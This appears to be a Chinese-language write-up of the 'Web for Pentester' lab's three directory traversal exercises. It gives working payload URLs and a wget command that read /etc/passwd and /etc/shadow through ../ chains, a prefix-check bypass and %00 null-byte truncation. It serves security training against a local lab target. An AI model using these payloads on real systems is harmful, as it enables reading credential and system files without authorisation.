Web for Pentester 目录/文件遍历

目录/文件遍历 Directory traversal

Example 1

先看原来提供的HTML的标签，猜测file是相对路径。

<img src="dirtrav/example1.php?file=hacker.png" width="20">

测试思路

http://192.168.56.101/dirtrav/example1.php?file=hacker.png # 原始路径
http://192.168.56.101/dirtrav/example1.php?file=./hacker.png # 探测是否仍然停留在本目录
http://192.168.56.101/dirtrav/example1.php?file=../hacker.png # 探测是否回到上级目录
http://192.168.56.101/dirtrav/example1.php?file=../../../../../../../../../../../../etc/passwd # 构造payload

到根目录/之后，再往父目录走../，结果还是根目录/。所以多几个../也没关系。

http://192.168.56.101/dirtrav/example1.php?file=../../../../../../../etc/passwd
http://192.168.56.101/dirtrav/example1.php?file=../../../../../../../etc/shadow
http://192.168.56.101/dirtrav/example1.php?file=../../../../../../../../../../../../../../../../../etc/passwd

用wget

wget -O - 'http://192.168.56.101/dirtrav/example1.php?file=../../../../../../../etc/passwd'

Example 2

先看靶场例子给的HTML。

<img src="dirtrav/example2.php?file=/var/www/files/hacker.png" width="20">

这样看来file参数应该是一个绝对路径。

测试思路

http://192.168.56.101/dirtrav/example2.php?file=/var/www/files/hacker.png # 原始路径
http://192.168.56.101/dirtrav/example2.php?file=/var/www/files/../files/hacker.png # 探测..是否有效
http://192.168.56.101/dirtrav/example2.php?file=/etc/passwd # 对特殊关键词似乎做了过滤
# 然而仍然有绕过的手段
http://192.168.56.101/dirtrav/example2.php?file=/boot/../etc/passwd # 第一种绕过思路，然而失败了
http://192.168.56.101/dirtrav/example2.php?file=/var/www/files/../../../../etc/passwd # 成功绕过

猜测后端是用正则表达式对参数前半部分做了限制。

Example 3

先看靶场例子给的HTML。

<img src="dirtrav/example3.php?file=hacker" width="20">

看起来file应该是相对路径，并且后端自行拼接后缀。
测试思路

http://192.168.56.101/dirtrav/example3.php?file=hacker # 原始路径
http://192.168.56.101/dirtrav/example3.php?file=./hacker # 观察.是否有效
http://192.168.56.101/dirtrav/example3.php?file=../hacker # 观察 .. 是否有效， 如果有效很有可能是无结果显示，低概率是不同文件
http://192.168.56.101/dirtrav/example3.php?file=../../../../../etc/passwd # 由于后端拼接后缀名，失败
http://192.168.56.101/dirtrav/example3.php?file=../../../../../etc/passwd%0a # 尝试用\n截断，失败
http://192.168.56.101/dirtrav/example3.php?file=../../../../../etc/passwd%00 # 尝试用\0截断，成功

参考资料

Web for pentester I part 2
http://www.atomsec.org/%E5%AE%89%E5%85%A8/web_for_pentester_i-part-2/